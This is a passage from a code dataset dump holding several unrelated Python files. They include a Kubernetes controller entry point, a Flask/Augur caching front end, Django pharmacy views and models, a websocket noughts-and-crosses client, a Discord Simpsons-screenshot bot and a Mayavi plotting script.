data.drop(cols, axis=1)\n\n\nimport_name = ('categorical_list', ProcessCategoricalList)","sub_path":"pyanalysis/preprocessor/vars_categorical_list.py","file_name":"vars_categorical_list.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"486936589","text":"\"\"\"Module for Krake controller responsible for\n:class:`krake.data.kubernetes.Application` resources and entry point of\nKubernetes application controller.\n\n.. code:: bash\n\n python -m krake.controller.kubernetes.application --help\n\nConfiguration is loaded from the ``controllers.kubernetes.application`` section:\n\n.. code:: yaml\n\n api_endpoint: http://localhost:8080\n worker_count: 5\n debounce: 1.0\n hooks:\n complete:\n hook_user: system:complete-hook\n intermediate_src: tmp/pki/system:complete-signing.pem\n intermediate_key_src: tmp/pki/system:complete-signing-key.pem\n cert_dest: /etc/krake_cert\n env_token: KRAKE_COMPLETE_TOKEN\n env_url: KRAKE_COMPLETE_URL\n shutdown:\n hook_user: system:shutdown-hook\n intermediate_src: tmp/pki/system:shutdown-signing.pem\n intermediate_key_src: tmp/pki/system:shutdown-signing-key.pem\n cert_dest: /etc/krake_cert\n env_token: KRAKE_SHUTDOWN_TOKEN\n env_url: KRAKE_SHUTDOWN_URL\n\n tls:\n enabled: false\n client_ca: tmp/pki/ca.pem\n client_cert: tmp/pki/system:kubernetes-application.pem\n client_key: tmp/pki/system:kubernetes-application-key.pem\n\n\n log:\n ...\n\n\"\"\"\nimport logging\nimport pprint\nfrom argparse import ArgumentParser\n\nfrom krake import (\n setup_logging,\n search_config,\n ConfigurationOptionMapper,\n load_yaml_config,\n)\nfrom krake.data.config import KubernetesConfiguration\nfrom krake.utils import KrakeArgumentFormatter\n\nfrom ....controller import create_ssl_context, run\nfrom .application import KubernetesApplicationController\n\n\nlogger = logging.getLogger(\"krake.controller.kubernetes.application\")\n\n\nparser = ArgumentParser(\n description=\"Kubernetes application controller\",\n formatter_class=KrakeArgumentFormatter,\n)\nparser.add_argument(\"-c\", \"--config\", type=str, help=\"Path to configuration YAML file\")\n\nmapper = ConfigurationOptionMapper(KubernetesConfiguration)\nmapper.add_arguments(parser)\n\n\ndef main(config):\n setup_logging(config.log)\n logger.debug(\n \"Krake Kubernetes application controller configuration settings:\\n %s\",\n pprint.pformat(config.serialize()),\n )\n\n tls_config = config.tls\n ssl_context = create_ssl_context(tls_config)\n logger.debug(\"TLS is %s\", \"enabled\" if ssl_context else \"disabled\")\n\n controller = KubernetesApplicationController(\n api_endpoint=config.api_endpoint,\n worker_count=config.worker_count,\n ssl_context=ssl_context,\n debounce=config.debounce,\n hooks=config.hooks,\n )\n run(controller)\n\n\nif __name__ == \"__main__\":\n args = vars(parser.parse_args())\n\n config = load_yaml_config(\n args[\"config\"] or search_config(\"kubernetes_application.yaml\")\n )\n kubernetes_config = mapper.merge(config, args)\n\n main(kubernetes_config)\n","sub_path":"krake/krake/controller/kubernetes/application/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"544288818","text":"from flask import Flask, render_template, render_template_string, request, abort\nimport urllib.request, json, os, math, yaml\nfrom pathlib import Path\nimport urllib3\nfrom concurrent.futures import ThreadPoolExecutor\n\napp = Flask(__name__)\n\n# URL for all endpoint calls, probably won't be hardcoded for much longer\n# URL = \"http://zephyr.osshealth.io:5222/api/unstable\"\n# cacheDir = \"cache/\"\n\nconfigFile = \"config.yml\"\n\nsettings = { 'approot': \"/augur/\", 'caching': \"cache/\", 'serving': \"default.osshealth.io\", 'paginationOffset': 25 }\n\ndef loadSettings():\n try:\n with open(configFile) as file:\n global settings\n settings = yaml.load(file, Loader=yaml.FullLoader)\n except Exception as err:\n print(\"Error reading application settings from [\" + configFile + \"], default settings kept:\")\n print(err)\n\ndef getSetting(key):\n if key == 'approot':\n if settings[key] == \"private\":\n with open(\".app_root\") as f:\n settings[key] = f.readline()\n return settings[key]\n\ndef loadReports():\n global reports\n try:\n with open(getSetting(\"reports\")) as file:\n reports = yaml.load(file, Loader=yaml.FullLoader)\n except Exception as err:\n print(\"Error reading reports endpoints from [\" + getSetting(\"reports\") + \"]:\")\n print(err)\n\nloadSettings()\n\nloadReports()\n\n\"\"\"\ntry:\n rootPath = Path(\".app_root\")\n if rootPath.is_file():\n with open(\".app_root\") as f:\n approot = f.readline()\n else:\n approot = \"/\"\nexcept Exception as err:\n print(\"Error reading application root from .app_root:\")\n print(err)\n print(\"Application root set to [/]\")\n approot = \"/\"\n\"\"\"\n\nrequested = []\n\ndef cacheFileExists(filename):\n cache_file = Path(filename)\n if cache_file.is_file() or filename in requested:\n return True\n else:\n return False\n\ndef stripStatic(url):\n return url.replace(\"static/\", \"\")\n\ndef toCacheFilename(endpoint):\n return getSetting('caching') + endpoint.replace(\"/\", \".\").replace(\"?\", \"_\").replace(\"=\", \"_\") + '.agcache'\n\ndef toCacheURL(endpoint):\n return stripStatic(getSetting('caching')) + endpoint.replace(\"/\", \".\").replace(\"?\", \"_\").replace(\"=\", \"_\") + '.agcache'\n\n\"\"\"\nrequestJson:\n Attempts to load JSON data from cache for the given endpoint.\n If no cache file is found, a request is made to the URL for\n the given endpoint and, if successful, the resulting JSON is\n cached for future use. Cached files will be stored with all\n '/' characters replaced with '.' for filesystem compatibility.\n\n@PARAM: endpoint: String\n A String representation of the requested\n json endpoint (relative to the api root).\n\n@RETURN: data: JSON\n An object representing the JSON data read\n from either the cache file or the enpoint\n URL. Will return None if an error is\n encountered.\n\"\"\"\ndef requestJson(endpoint):\n filename = toCacheFilename(endpoint)\n requestURL = getSetting('serving') + \"/\" + endpoint\n try:\n if cacheFileExists(filename) and not filename in requested:\n with open(filename) as f:\n data = json.load(f)\n else:\n with urllib.request.urlopen(requestURL) as url:\n data = json.loads(url.read().decode())\n with open(filename, 'w') as f:\n json.dump(data, f)\n if filename in requested:\n requested.remove(filename)\n return data\n except Exception as err:\n print(err)\n\ndef requestPNG(endpoint):\n filename = toCacheFilename(endpoint)\n requestURL = getSetting('serving') + \"/\" + endpoint\n # print(requestURL)\n try:\n if cacheFileExists(filename) and not filename in requested:\n return toCacheURL(endpoint)\n else:\n urllib.request.urlretrieve(requestURL, filename)\n if filename in requested:\n requested.remove(filename)\n return toCacheURL(endpoint)\n except Exception as err:\n print(err)\n\ndef download(url, cmanager, filename):\n if cacheFileExists(filename) and not filename in requested:\n reportImages.append(stripStatic(filename))\n return\n response = cmanager.request('GET', url)\n if \"json\" in response.headers['Content-Type']:\n print(\"WARN: unexpected json response in image request for repo\")\n print(response.data.decode('utf-8'))\n return\n if response and response.status == 200:\n reportImages.append(stripStatic(filename))\n with open(filename, 'wb') as f:\n f.write(response.data)\n\ndef requestReports(repo_id):\n threadPools = []\n global reportImages\n reportImages = []\n for report in reports:\n size = len(reports[report])\n connection_mgr = urllib3.PoolManager(maxsize=size)\n thread_pool = ThreadPoolExecutor(size)\n threadPools.append(thread_pool)\n for url in reports[report]:\n filename = toCacheFilename(url + \"?repo_id=\" + str(repo_id))\n url = getSetting('serving') + \"/\" + url + \"?repo_id=\" + str(repo_id)\n thread_pool.submit(download, url, connection_mgr, filename)\n\n # Wait for all connections to resolve, then clean up\n for thread_pool in threadPools:\n thread_pool.shutdown()\n\n\"\"\"\nrenderRepos:\n This function renders a list of repos using a given view, while passing query\n data along. This function also processes pagination automatically for the\n range of data provided. If a query is provided and filtering is enabled, the\n data will be filtered using the 'repo_name', 'repo_group_id' or 'rg_name'.\n@PARAM: view: String\n A string representing the template to use for displaying the repos.\n@PARAM: query: String\n The query argument from the previous page.\n\"\"\"\ndef renderRepos(view, query, data, page = None, filter = False, pageSource = \"repos/views/table\"):\n PaginationOffset = getSetting('paginationOffset')\n if(data is None):\n return render_template('index.html', body=\"repos-\" + view, title=\"Repos\")\n\n if((query is not None) and filter):\n results = []\n for repo in data:\n if (query in repo[\"repo_name\"]) or (query == str(repo[\"repo_group_id\"])) or (query in repo[\"rg_name\"]):\n results.append(repo)\n data = results\n\n pages = math.ceil(len(data) / PaginationOffset)\n\n if page is not None:\n page = int(page)\n else:\n page = 1\n\n x = PaginationOffset * (page - 1)\n data = data[x: x + PaginationOffset]\n\n print(\"Pages\", pages, \"Page\", page, \"Data\", len(data))\n\n return render_template('index.html', body=\"repos-\" + view, title=\"Repos\", repos=data, query_key=query, activePage=page, pages=pages, offset=PaginationOffset, PS=pageSource, api_url=getSetting('serving'), root=getSetting('approot'))\n\ndef renderLoading(dest, query, request):\n requested.append(request)\n return render_template('index.html', body=\"loading\", title=\"Loading\", d=dest, query_key=query, api_url=getSetting('serving'), root=getSetting('approot'))\n\n\n\n# ROUTES -----------------------------------------------------------------------\n\n@app.route('/')\n@app.route('/repos/views/table')\ndef repo_table_view():\n query = request.args.get('q')\n page = request.args.get('p')\n\n #if not cacheFileExists(\"repos.json\"):\n # return renderLoading(\"repos/views/table\", query, \"repos.json\")\n\n data = requestJson(\"repos\")\n\n return renderRepos(\"table\", query, data, page, True)\n\n@app.route('/repos/views/card')\ndef repo_card_view():\n query = request.args.get('q')\n return renderRepos(\"card\", query, requestJson(\"repos\"), True)\n\n@app.route('/groups')\ndef repo_groups_view():\n query = request.args.get('q')\n page = request.args.get('p')\n\n if(query is not None):\n buffer = []\n data = requestJson(\"repos\")\n for repo in data:\n if query == str(repo[\"repo_group_id\"]) or query in repo[\"rg_name\"]:\n buffer.append(repo)\n return renderRepos(\"table\", query, buffer, page, False, \"groups\")\n else:\n groups = requestJson(\"repo-groups\")\n return render_template('index.html', body=\"groups-table\", title=\"Groups\", groups=groups, query_key=query, api_url=getSetting('serving'))\n\n#TODO add app.route support for an insights view in the frontend\n#app.route('/insights')\n#I think a new view should be created for repo insights\n\n@app.route('/repos/views/repo/')\ndef repo_repo_view(id):\n requestReports(id)\n reportImages.sort()\n # file=requestPNG(\"contributor_reports/new_contributors_stacked_bar/?repo_id=\" + str(id))\n return render_template('index.html', body=\"repo-info\", images=reportImages, title=\"Repo\", repo=id, api_url=getSetting('serving'), root=getSetting('approot'))\n\n# Code 404 response page, for pages not found\n@app.errorhandler(404)\ndef page_not_found(error):\n return render_template('index.html', title='404', api_url=getSetting('serving'), root=getSetting('approot')), 404\n\n# API endpoint to clear server cache\n# TODO: Add verification\n@app.route('/cache/clear')\ndef clear_cache():\n try:\n for f in os.listdir(getSetting('caching')):\n os.remove(os.path.join(getSetting('caching'), f))\n return render_template_string('

Cache successfully cleared

')\n except Exception as err:\n print(err)\n return render_template_string('

An error occurred while attempting to clear cache

')\n\n# API endpoint to reload settings from disk\n@app.route('/settings/reload')\ndef reload_settings():\n loadSettings()\n return render_template_string('

Settings reloaded

')\n","sub_path":"augur_view.py","file_name":"augur_view.py","file_ext":"py","file_size_in_byte":9863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"172447088","text":"# #\n#----------IMPORTS---------------#\nimport MapLevels #\nimport math #\n##################################\n\ndef search(A, B, dir, board):\n min = None\n mindist = None\n for coord in adjacentCoords((A.row, A.col), board):\n dist = distance(coord, (B.row, B.col), dir)\n if mindist == None or dist > mindist:\n min = coord\n mindist = dist\n return min\n\ndef distance(A, B, dir):\n Ax = A[0]\n Bx = B[0]\n Ay = A[1]\n By = B[1]\n aDistance = (Ax - Bx)**2\n bDistance = (Ay - By)**2\n distance = math.sqrt(aDistance + bDistance)\n return distance\n\ndef adjacentCoords(start, board):\n coords = []\n row = start[0]\n col = start[1]\n rows = len(MapLevels.level1)\n cols = len(MapLevels.level1[0])\n\n if board[(row - 1) % rows][col % cols] != 0:\n coords.append(((row - 1) % rows, col % cols))\n\n if board[(row+1)%rows][col%cols] != 0:\n coords.append(((row+1)%rows, col%cols))\n\n if board[row][(col-1)%cols] != 0:\n coords.append((row%rows, (col-1)%cols))\n\n if board[row][(col+1)%cols] != 0:\n coords.append((row, (col+1)%cols))\n\n return coords","sub_path":"FrightAI.py","file_name":"FrightAI.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"526973752","text":"from django.db import models\nfrom django.conf import settings\nimport os\nimport yaml\nfrom django.contrib import admin\n\nFIELD_TYPES = {\n 'char': models.CharField,\n 'int': models.IntegerField,\n 'date': models.DateField,\n }\n\ndef create_model(title, params):\n class Meta:\n verbose_name_plural = params['title']\n\n fields = {'__module__': 'main.models', 'Meta': Meta, 'title': params['title'], 'tid': title}\n\n for field in params['fields']:\n if field['type'] == 'char':\n f = FIELD_TYPES[field['type']](verbose_name=field['title'], max_length=255)\n else:\n f = FIELD_TYPES[field['type']](verbose_name=field['title'])\n\n fields.update({field['id']: f})\n\n model = type(title.title(), (models.Model,), fields)\n\n admin.site.register(model)\n\n return model\n\n\nymlfile = open(os.path.join(os.path.abspath(os.path.dirname(__file__)),'data.yml'), 'r')\ndata = ymlfile.read()\nymldata = yaml.load(data)\n\nfor title, params in ymldata.items():\n model = create_model(title, params)","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"101617046","text":"from django.shortcuts import render\nfrom .models import Pharmacy,Medic,Pills\nfrom .forms import PharmacyForm, MedicForm, PillsForm\nfrom django.views import View\n\n# def add_ph(request):\n# result = \"Successful add!\"\n# if request.method == \"GET\":\n# return render(request,'add-pharmacy.html')\n# if (request.method == \"POST\" and request.POST['name'] and request.POST['city']\n# and request.POST['lisense'] and request.POST['day_and_night']):\n# Pharmacy.objects.create(name=request.POST['name'],\n# city=request.POST['city'],\n# lisense=request.POST['lisense'],\n# day_and_night=request.POST['day_and_night'])\n# return render(request,'main.html',{'result':result})\n\nclass PharmacyView(View):\n form_pharmacy = PharmacyForm\n def post(self , request):\n form = PharmacyForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n Pharmacy.objects.create(name=data['name'],\n city=data['city'],\n lisense=data['lisense'],\n day_and_night=data['day_and_night']\n )\n result = \"Add ok!\"\n context = {\n 'result':result\n }\n return render(request, 'main.html', context)\n else:\n context = {\n 'form_pharmacy': self.form_pharmacy\n }\n return render(request, 'add_pharmacy.html', context)\n\n def get(self ,request):\n context = {\n 'form_pharmacy': self.form_pharmacy\n }\n return render(request, 'add_pharmacy.html', context)\n\n\nclass MedicView(View):\n form_medic = MedicForm\n def post(self , request):\n form = MedicForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n Medic.objects.create(name=data['name'],\n lisense=data['lisense'],\n about=data['about'],\n cooperation=data['cooperation']\n )\n result = \"Add ok!\"\n context = {\n 'result':result\n }\n return render(request, 'main.html', context)\n else:\n context = {\n 'form_medic': self.form_medic\n }\n return render(request, 'add_medic.html', context)\n\n def get(self ,request):\n context = {\n 'form_medic': self.form_medic\n }\n return render(request, 'add_medic.html', context)\n\n\nclass PillsView(View):\n form_pills = PillsForm\n def post(self , request):\n form = PillsForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n Pills.objects.create(name=data['name'],\n consist=data['consist'],\n price=data['price'],\n medic=data['medic'],\n pharmacy=data['pharmacy']\n )\n result = \"Add ok!\"\n context = {\n 'result':result\n }\n return render(request, 'main.html', context)\n else:\n context = {\n 'form_pills': self.form_pills\n }\n return render(request, 'add_pills.html', context)\n\n def get(self ,request):\n context = {\n 'form_pills': self.form_pills\n }\n return render(request, 'add_pills.html', context)\n\n\n\ndef del_pharmacy(request,id):\n if request.method==\"POST\":\n Pharmacy.objects.get(id=int(id)).delete()\n pharmacy_list = Pharmacy.objects.all()\n medic_list = Medic.objects.all()\n pills_list = Pills.objects.all()\n context = {\n 'pharmacy_list': pharmacy_list,\n 'medic_list': medic_list,\n 'pills_list': pills_list,\n }\n return render(request,'content.html',context)\n\ndef del_medic(request,id):\n if request.method==\"POST\":\n Medic.objects.get(id=int(id)).delete()\n pharmacy_list = Pharmacy.objects.all()\n medic_list = Medic.objects.all()\n pills_list = Pills.objects.all()\n context = {\n 'pharmacy_list': pharmacy_list,\n 'medic_list': medic_list,\n 'pills_list': pills_list,\n }\n return render(request,'content.html',context)\n\n\ndef del_pill(request,id):\n if request.method==\"POST\":\n Pills.objects.get(id=int(id)).delete()\n pharmacy_list = Pharmacy.objects.all()\n medic_list = Medic.objects.all()\n pills_list = Pills.objects.all()\n context = {\n 'pharmacy_list': pharmacy_list,\n 'medic_list': medic_list,\n 'pills_list': pills_list,\n }\n return render(request,'content.html',context)\n\ndef edit_pharmacy(request,id):\n if request.method==\"GET\":\n return render(request,'edit_pharmacy.html')\n if request.method==\"POST\":\n if \"day_and_night_edit\" in request.POST:\n day_and_night = 1\n else:\n day_and_night = 0\n name = request.POST['name_edit']\n city = request.POST['city_edit']\n lisense = request.POST['lisense_edit']\n\n print(day_and_night)\n Pharmacy.objects.filter(id=id).update(name=name, city=city, lisense=lisense, day_and_night=day_and_night)\n pharmacy_list = Pharmacy.objects.all()\n medic_list = Medic.objects.all()\n pills_list = Pills.objects.all()\n context = {\n 'pharmacy_list': pharmacy_list,\n 'medic_list': medic_list,\n 'pills_list': pills_list,\n }\n return render(request,'content.html',context)\n\n\ndef edit_medic(request,id):\n if request.method==\"GET\":\n return render(request,'edit_medic.html')\n if request.method==\"POST\":\n if \"cooperation\" in request.POST:\n cooperation = 1\n else:\n cooperation = 0\n name = request.POST['name_edit']\n lisense = request.POST['lisense_edit']\n about = request.POST['about_edit']\n Medic.objects.filter(id=id).update(name=name,lisense=lisense, about=about, cooperation=cooperation)\n pharmacy_list = Pharmacy.objects.all()\n medic_list = Medic.objects.all()\n pills_list = Pills.objects.all()\n context = {\n 'pharmacy_list': pharmacy_list,\n 'medic_list': medic_list,\n 'pills_list': pills_list,\n }\n return render(request,'content.html',context)\n\n\ndef edit_pill(request,id):\n if request.method==\"GET\":\n pharmacy_list = Pharmacy.objects.all()\n medic_list = Medic.objects.all()\n context = {\n 'pharmacy_list': pharmacy_list,\n 'medic_list': medic_list\n }\n return render(request,'edit_pill.html',context)\n\n if request.method == \"POST\":\n name = request.POST['name_edit']\n consist = request.POST['consist_edit']\n price = request.POST['price_edit']\n medic = request.POST['medic_edit']\n pharmacy = request.POST['pharmacy_edit']\n Pills.objects.filter(id=id).update(name=name,consist=consist, price=price, medic=medic,pharmacy=pharmacy)\n pharmacy_list = Pharmacy.objects.all()\n medic_list = Medic.objects.all()\n pills_list = Pills.objects.all()\n context = {\n 'pharmacy_list': pharmacy_list,\n 'medic_list': medic_list,\n 'pills_list': pills_list,\n }\n return render(request,'content.html',context)\n\n\ndef main(request):\n pharmacy_list = Pharmacy.objects.all()\n medic_list = Medic.objects.all()\n pills_list = Pills.objects.all()\n context ={\n 'pharmacy_list': pharmacy_list,\n 'medic_list': medic_list,\n 'pills_list': pills_list,\n }\n return render(request,'content.html',context)","sub_path":"database/lab3/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"89348078","text":"import argparse\nimport zipfile\n\ndef omni_ja(apk_file, dest_dir):\n zf = zipfile.ZipFile(apk_file)\n omnis = [n for n in zf.namelist() if 'omni.ja' in n]\n for omni in omnis:\n zf.extract(omni, dest_dir)\n\nif __name__=='__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('apk_file', type=file)\n parser.add_argument('dest')\n args = parser.parse_args()\n omni_ja(args.apk_file, args.dest)\n","sub_path":"extract-omni-ja.py","file_name":"extract-omni-ja.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"162386134","text":"from django.test import TestCase\nfrom rest_framework.test import APIClient\nfrom rest_framework import status\nfrom django.core.urlresolvers import reverse\nfrom models import MentorRequests\n\nclass ModelTestCase(TestCase):\n '''\n This class defines tests suites for the mentorbot models\n '''\n def setup(self):\n '''define test variables'''\n self.mentorrequests = {'requester_name':'Jane Doe','requester_approved':'approved','requested_mentorship_field':'scala', 'request_status':False}\n self.mentorrequests_unapproved = {'requester_name':'jerry kurata', 'requester_approved':'unapproved','requested_mentorship_field':'javascript', 'request_status':False}\n self.mentorrequests = MentorRequests(self.mentorrequests)\n self.mentorrequests_unapproved = MentorRequests(self.mentorrequests_unapproved)\n \n\n '''\n Tests edge cases for a mentor requesting to mentor a field that does not exist in the Database\n '''\n def test_adding_a_new_mentorship_field(self):\n old_count = MentorRequests.objects.count()\n self.mentorrequests.save()\n new_count = MentorRequests.objects.count()\n self.assertNotEqual(old_count, new_count)\n\n def test_unapproved_mentor_requesting(self):\n old_count = MentorRequests.objects.count()\n self.mentorrequests.save()\n new_count = MentorRequests.objects.count()\n self.assertEqual(old_count, new_count)\n\nclass ViewTestCase(TestCase):\n \"\"\"Test suite for the api views.\"\"\"\n def setup(self):\n \"\"\"Define the test client and other test variables.\"\"\"\n self.client = APIClient()\n self.mentorrequests = {'requester_name':'Jane Doe','requester_approved':'approved','requested_mentorship_field':'scala', 'request_status':False}\n self.mentorrequests_unapproved = {'requester_name':'jerry kurata', 'requester_approved':'unapproved','requested_mentorship_field':'javascript', 'request_status':False}\n self.response1 = self.client.post(self.mentorrequests, format=\"json\")\n self.response2 = self.client.post(self.mentorrequests_unapproved, format=\"json\")\n\n '''\n Tests edge cases for a mentor requesting to mentor a field that does not exist in the Database\n '''\n def test_api_mentor_requesting_new_field(self):\n self.assertEqual(self.response1.status_code, status.HTTP_201_CREATED)\n \n def test_api_unapproved_mentor_requesting(self):\n self.assertEqual(self.response2.status_code, status.HTTP_401_UNAUTHORIZED)\n\n\n","sub_path":"mentorbot/MentorRequests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"486061325","text":"\"\"\"\nCommand line client for Noughts & Crosses game.\n\"\"\"\nimport json\nimport uuid\n\nimport websocket\n\nfrom noughts_and_crosses import settings\nfrom noughts_and_crosses.game import BoxType, GameStatus\n\n\nURL = 'ws://{host}:{port}/ws'.format(\n host=settings.SERVER_IP,\n port=settings.SERVER_PORT\n)\n\nGRID_TEMPLATE = \"\"\"\n┌─┬─┬─┐\n│{}│{}│{}│\n├─┼─┼─┤\n│{}│{}│{}│\n├─┼─┼─┤\n│{}│{}│{}│\n└─┴─┴─┘\n\"\"\"\n\n\ndef print_grid(grid):\n box_types = {\n BoxType.empty: ' ',\n BoxType.nought: '0',\n BoxType.cross: 'X',\n }\n print(GRID_TEMPLATE.format(*[box_types[i] for i in grid]))\n\n\ndef make_turn(game_state, player_id, ws):\n if game_state.get('whose_turn') == player_id:\n turn = input('Your turn (Type a number for 1 to 9): ')\n try:\n payload = {'operation': 'turn', 'payload': {'turn': int(turn) - 1}}\n except (ValueError, TypeError):\n make_turn(game_state, player_id, ws)\n else:\n ws.send(json.dumps(payload))\n else:\n print('Waiting for opponent...')\n\n\ndef main():\n player_id = str(uuid.uuid4())\n ws = websocket.create_connection(\n URL,\n header={\n 'Cookie': 'player_id={player_id}'.format(\n player_id=player_id\n )\n }\n )\n game_state = {}\n try:\n while True:\n message = json.loads(ws.recv())\n payload = message['payload']\n\n if message['event'] == 'error':\n print(payload['message'])\n make_turn(game_state, player_id, ws)\n\n elif message['event'] == 'game_state':\n game_state = payload\n print_grid(payload['grid'])\n\n if payload['status'] == GameStatus.awaiting:\n print('Waiting for opponent...')\n\n if payload['status'] == GameStatus.finished:\n if payload['winner'] is None:\n print('Drawn game')\n elif payload['winner'] == player_id:\n print('Winner!')\n else:\n print('Loser :(')\n break\n\n elif payload['status'] == GameStatus.in_progress:\n make_turn(game_state, player_id, ws)\n\n elif payload['status'] == GameStatus.unfinished:\n print('Opponent gone')\n break\n except KeyboardInterrupt:\n pass\n finally:\n ws.close()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"129261364","text":"from discord import Embed\nimport frinkiac\n\n# Frinkiac / Simpsons Search\n# Looks for:\n# !simp\n# !simp search string\n\ndef trigger(message):\n if message.content.startswith(\"!simp\") or message.content.startswith(\"!fut\"):\n return True\n\nasync def action(message, client):\n message.content = message.content.lower()\n if message.content == \"!simp\":\n random_screen = frinkiac.random()\n embed_message = Embed(type = 'rich')\n embed_message.set_image(url = random_screen.meme_url())\n await client.send_message(message.channel, embed = embed_message)\n elif message.content == \"!fut\":\n random_screen = frinkiac.random(False)\n embed_message = Embed(type = 'rich')\n embed_message.set_image(url = random_screen.meme_url())\n await client.send_message(message.channel, embed = embed_message)\n else:\n try:\n if message.content.startswith(\"!simp\"):\n command, query = message.content.split(\"!simp \")\n search = frinkiac.search(query)\n elif message.content.startswith(\"!fut\"):\n command, query = message.content.split(\"!fut \")\n search = frinkiac.search(query, False)\n if search:\n if query.startswith('\"') and query.endswith('\"'):\n embed_message = Embed(type = 'rich')\n embed_message.set_image(url = search[0].meme_url(caption = query.split('\"')[1]))\n await client.send_message(message.channel, embed = embed_message)\n else:\n embed_message = Embed(type = 'rich')\n embed_message.set_image(url = search[0].meme_url())\n await client.send_message(message.channel, embed = embed_message)\n except ValueError:\n await client.add_reaction(message, '?')","sub_path":"frink.py","file_name":"frink.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"511929233","text":"# Recorded script from Mayavi2\nfrom numpy import array\ntry:\n engine = mayavi.engine\nexcept NameError:\n from mayavi.api import Engine\n engine = Engine()\n engine.start()\nif len(engine.scenes) == 0:\n engine.new_scene()\n# ------------------------------------------- \n\nfrom mayavi.modules.iso_surface import IsoSurface\n\n\nvtk_file_reader2 = engine.open(u'/home/m/spammsand/spammsand/water_6311gss_duals/z_15.vtk')\n##vtk_file_reader2 = engine.open(u'/home/matcha/Desktop/RESEARCH/spammsand_may_10_2015/spammsand/350_6311gss/z_12.vtk')\niso_surface2 = IsoSurface()\nengine.add_module(iso_surface2, obj=None)\niso_surface2.actor.mapper.scalar_mode = 'use_field_data'\n\n#iso_surface2.actor.property.specular_color = (0.5019607843137255, 0.5019607843137255, 0.5019607843137255)\n#iso_surface2.actor.property.diffuse_color = (0.5019607843137255, 0.5019607843137255, 0.5019607843137255)\n#iso_surface2.actor.property.ambient_color = (0.5019607843137255, 0.5019607843137255, 0.5019607843137255)\n#iso_surface2.actor.property.color = (0.5019607843137255, 0.5019607843137255, 0.5019607843137255)\n\niso_surface2.actor.property.specular_color = (1.0, 1.0, 1.0)\niso_surface2.actor.property.diffuse_color = (1.0, 1.0, 1.0)\niso_surface2.actor.property.ambient_color = (1.0, 1.0, 1.0)\niso_surface2.actor.property.color = (1.0, 1.0, 1.0)\n\niso_surface2.actor.property.opacity = 0.3\niso_surface2.contour.contours[0:1] = [0.01]\n\nscene = engine.scenes[0]\n\n#from mayavi.modules.axes import Axes\n#axes = Axes()\n#engine.add_module(axes, obj=None)\n\nfrom mayavi.modules.outline import Outline\noutline1 = Outline()\nengine.add_module(outline1, obj=None)\n\noutline1.actor.mapper.scalar_range = array([ 0., 1.])\noutline1.outline_mode = 'full'\noutline1.actor.property.specular_color = (0.0, 0.0, 0.0)\noutline1.actor.property.diffuse_color = (0.0, 0.0, 0.0)\noutline1.actor.property.ambient_color = (0.0, 0.0, 0.0)\noutline1.actor.property.color = (0.0, 0.0, 0.0)\noutline1.actor.property.line_width = 4.\noutline1.actor.property.line_width = 4.\n\n#scene.scene.background = (0.7529411764705882, 0.7529411764705882, 0.7529411764705882)\nscene.scene.background = (1.0, 1.0, 1.0)\nscene.scene.jpeg_quality = 100\n\nfrom mayavi.modules.axes import Axes\naxes = Axes()\nengine.add_module(axes, obj=None)\n\naxes.axes.x_label = 'i'\naxes.axes.y_label = 'j'\naxes.axes.z_label = 'k'\naxes.axes.label_format = ''\naxes.property.display_location = 'background'\n\n\nscene.scene.isometric_view()\n\ncamera_light = engine.scenes[0].scene.light_manager.lights[0]\ncamera_light.activate = True\ncamera_light.azimuth = -20.0\ncamera_light.elevation = 35.0 \ncamera_light.color = (1.0, 0.0, 1.0)\n\ncamera_light1 = engine.scenes[0].scene.light_manager.lights[1]\ncamera_light1.activate = False\ncamera_light2= engine.scenes[0].scene.light_manager.lights[2]\ncamera_light2.activate = False\n\ncamera_light3 = engine.scenes[0].scene.light_manager.lights[3]\ncamera_light3.activate = True\ncamera_light3.elevation = -2.0\ncamera_light3.azimuth = -10.0\ncamera_light3.color = (0.0, 1.0, 0.0)\n\n\nscene.scene.camera.position = [5760.0510962263688, 8264.1602192001847, 8166.9237003172129]\nscene.scene.camera.focal_point = [1545.0000000000143, 1544.9999999999961, 1544.9999999999879]\nscene.scene.camera.view_angle = 30.0\nscene.scene.camera.view_up = [-0.31733327151558843, -0.55718686597616895, 0.7673606656409151]\nscene.scene.camera.clipping_range = [5008.7568762710653, 17059.25614172122]\n\nscene.scene.camera.compute_view_plane_normal()\nscene.scene.render()\n#scene.scene.save(u'/home/m/spammsand/spammsand/z_15_tube_5_36.png',size=(512,512))\nscene.scene.save(u'/home/m/spammsand/spammsand/z_15_water.png',size=(1024,1024))\n\n\n\n","sub_path":"spammsand/stabilized_paper_1/plots/plot_z_15_water.py","file_name":"plot_z_15_water.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"458262061","text":"from activityTrack.save import Save\nfrom activityTrack.blogInfo 